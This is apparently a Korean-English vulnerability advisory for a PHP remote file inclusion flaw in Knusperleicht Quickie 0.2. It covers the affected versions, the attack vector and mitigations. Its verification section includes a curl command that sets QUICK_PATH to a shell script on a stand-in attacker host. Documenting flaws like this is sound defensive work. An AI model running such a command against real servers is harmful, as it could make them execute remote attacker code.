🇰🇷 한글 설명
Knusperleicht Quickie 0.2 버전의 quickie.php 파일에서 QUICK_PATH 매개변수를 통해 원격 파일을 포함할 수 있는 취약점입니다. 공격자는 이를 이용하여 임의의 PHP 코드를 실행할 수 있으며, 웹 서버 권한으로 시스템을 장악할 수 있습니다.
💡 쉬운 설명
웹 프로그램이 외부 파일을 안전하게 확인하지 않아, 공격자가 악의적인 코드를 실행하도록 할 수 있습니다. 인터넷을 통해 누구나 원격으로 공격할 수 있는 심각한 취약점입니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in quickie.php in Knusperleicht Quickie, probably 0.2, allows remote attackers to execute arbitrary PHP code via a URL in the QUICK_PATH parameter.
📍 영향받는 시스템
Knusperleicht Quickie 0.2 및 이전 버전
⚔️ 공격 벡터
QUICK_PATH 매개변수에 악의적인 원격 파일 URL을 입력하여 PHP 코드 실행
🛡️ 대응 방법
최신 버전으로 업그레이드하거나 입력값 검증을 강화하고 allow_url_include 비활성화
🔧 검증 코드
원격 포함이 활성화된 경우 PHP 경고나 파싱 오류가 나타나며, 차단된 경우 일반 오류만 표시됩니다.
curl -s 'http://target/quickie.php?QUICK_PATH=http://attacker.com/shell.php' 2>&1 | grep -qE 'Warning|Parse error|include' && echo 'Potentially Vulnerable' || echo 'Cannot verify remotely'